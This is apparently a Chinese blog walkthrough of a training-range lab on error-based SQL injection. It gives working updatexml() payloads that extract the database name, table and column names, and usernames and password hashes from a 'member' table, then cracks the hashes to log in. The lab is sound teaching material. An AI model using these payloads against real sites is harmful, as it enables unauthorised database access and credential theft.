SQL注入之报错盲注(墨者学院)

首先我们先来了解一下报错注入的基本概念

1:报错注入定义

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

2:报错注入前提

页面上没有回显点,但是必须有SQL语句执行错误的信息。

3:报错注入优缺点

优点:不需要显示位,如果有显示位建议使用union联合查询。

缺点:需要有SQL语句的报错信息。

4:构造报错注入的基本步骤

  1. 构造目标查询语句
  2. 选择报错注入函数
  3. 构造报错注入语句
  4. 拼接报错注入语句

5:常见的报错注入函数

updatexml();floor();extractvalue();等等,待会靶场需要使用的函数就是updatexml();

报错注入基本概念了解后就可以开始了

如图是靶场环境,根据网站的URL可以很明显的知道可能存在注入

SQL注入之报错盲注(墨者学院)_第1张图片

首先我是先通过 and 1=1  和 and 1=2 来判断是否存在注入和注入类型,但是当我输入and 1=2 时发现网页既然没有出错,还是和 and 1=1 时一样

SQL注入之报错盲注(墨者学院)_第2张图片

因为靶场已经告诉你这是报错盲注,所以直接开始使用报错注入语句

1:爆破数据库1' and updatexml(1,concat(0x7e,(select database()),0x7e),1 )--+  0x7e是~的16进制,concat()语句将多个字符串连接成一个字符串 , --+ 为空格

 2:爆破数据表' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'stormgroup' limit 0,1),0x7e),1 )--+爆出了两张数据表,猜测管理员等信息在member表中  注意要爆出notice表需要把limit0,1改为limit1,1

 

3:爆破字段' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = 'stormgroup' and table_name = 'member' limit 0,1),0x7e),1 )--+  出了name,password 还有status字段

 

 4:爆破字段内容' and updatexml(1,concat(0x7e,(select name from member limit 0,1),0x7e),1)--+

' and updatexml(1,concat(0x7e,(select password from member limit 0,1),0x7e),1)--+

 

用户名有两个都是 mozhe

 密码爆出两个使用MD5解密工具,但是当你去解密时你会发现解密不出来,因为密码长度为31位所以无法解密,但是MD5长度一般为16位或32位,猜测可能是最后一个字符没显示,在这里利用substr函数进行字符串截取

' and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 0,1),0x7e),1)--+

 

 所以将密码拼接一下在进行解密  528469 和 480132

拿到密码后进行登录拿到了key

SQL注入之报错盲注(墨者学院)_第3张图片

  今天的内容就到这了,点个赞在走吧^0^

 

 

你可能感兴趣的:(信息安全,web安全,安全)